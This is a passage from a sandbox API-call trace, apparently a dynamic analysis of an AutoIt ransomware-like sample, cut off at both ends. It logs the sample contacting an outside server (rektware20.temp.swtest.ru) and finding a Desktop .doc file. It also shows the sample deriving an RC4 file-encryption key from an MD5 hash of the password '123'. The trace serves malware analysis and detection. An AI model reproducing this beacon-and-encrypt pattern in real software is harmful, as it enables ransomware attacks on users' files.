dwCmpFlags=0x1, lpString1="s\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bJLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JLobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LobdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="obdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bdAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dAD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AD2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="thp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hp.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.648] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.648] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.648] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.648] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.648] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.648] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.648] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.648] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.648] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0074.648] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.648] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.648] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.649] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629350, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629350*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.649] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.649] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.649] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.649] CloseHandle (hObject=0x0) returned 0 [0074.649] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.650] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0074.650] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0074.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.650] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.650] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.650] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.651] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.651] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.651] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.652] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.652] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.652] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0074.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.653] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.653] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.654] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.654] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.654] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.654] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.654] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.654] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.654] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.655] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.655] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.655] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.655] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.655] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.656] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.656] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.656] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.657] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.658] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621678, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.659] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.659] CryptHashData (hHash=0x164c430, pbData=0x16294f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.659] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.659] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.659] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.659] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.659] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.660] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.660] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8b0) returned 1 [0074.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.660] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.660] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.660] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.661] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.661] CryptDestroyHash (hHash=0x164c430) returned 1 [0074.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 